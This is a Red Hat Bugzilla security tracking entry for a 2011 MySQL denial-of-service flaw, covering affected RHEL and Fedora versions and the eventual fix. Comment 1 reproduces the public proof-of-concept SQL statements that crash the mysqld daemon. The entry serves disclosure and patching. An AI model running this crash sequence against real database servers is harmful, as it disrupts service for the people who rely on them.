Bug 717686

Summary:	mysql: DoS (crash) by performing EXPLAIN for a SELECT from a derived table query in prepared-statement mode (MySQL bug#54488)
Product:	[Other] Security Response	Reporter:	Jan Lieskovsky <jlieskov>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED ERRATA	QA Contact:
Severity:	low	Docs Contact:
Priority:	low
Version:	unspecified	CC:	byte, tgl
Target Milestone:	---	Keywords:	Security
Target Release:	---
Hardware:	All
OS:	Linux
Whiteboard:
Fixed In Version:		Doc Type:	Bug Fix
Doc Text:		Story Points:	---
Clone Of:		Environment:
Last Closed:	2012-02-14 14:04:27 UTC	Type:	---
Regression:	---	Mount Type:	---
Documentation:	---	CRM:
Verified Versions:		Category:	---
oVirt Team:	---	RHEL 7.3 requirements from Atomic Host:
Cloudforms Team:	---	Target Upstream Version:
Bug Depends On:
Bug Blocks:	717721

Description Jan Lieskovsky 2011-06-29 15:11:41 UTC

A NULL pointer derefence flaw was found in the way MySQL server processed certain SQL queries requesting EXPLAIN for a SELECT from a derived table in prepared-statement mode. A remote attacker, valid SQL user could use this flaw to cause denial of service (mysqld daemon crash).

References:
[1] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-52.html
[2] http://bugs.mysql.com/bug.php?id=54488

Note:
On Red Hat Enterprise Linux systems exploitation of this issue would lead only to temporary denial of service, since mysqld daemon gets automatically restarted upon encountering a crash.

Comment 1 Jan Lieskovsky 2011-06-29 15:13:10 UTC

Public PoC from [2]:
====================

drop table if exists `t1`;
create table `t1`(`a` int)engine=myisam;
insert into `t1` values (1),(1);
prepare `stmt` from 'explain 
select 1 from `t1`
where(select(select 1 from `t1` group by `a`))'; 
execute `stmt` ;

Comment 2 Jan Lieskovsky 2011-06-29 15:15:15 UTC

This issue did NOT affect the version of the mysql package, as shipped with
Red Hat Enterprise Linux 4.

This issue affects the version of the mysql package, as shipped with
Red Hat Enterprise Linux 5.

This issue did NOT affect the version of the mysql package, as shipped with
Red Hat Enterprise Linux 6.

--

This issue did NOT affect the versions of the mysql package, as shipped with
Fedora release of 14 and 15.

Comment 5 Jan Lieskovsky 2012-02-14 14:04:27 UTC

(In reply to comment #2)
> This issue affects the version of the mysql package, as shipped with
> Red Hat Enterprise Linux 5.

The mysql package in Red Hat Enterprise Linux 5 has been upgraded to version 5.0.95 via RHSA-2012:0127 security advisory: https://rhn.redhat.com/errata/RHSA-2012-0127.html, and therefore this issue has been addressed in Red Hat Enterprise Linux 5 too.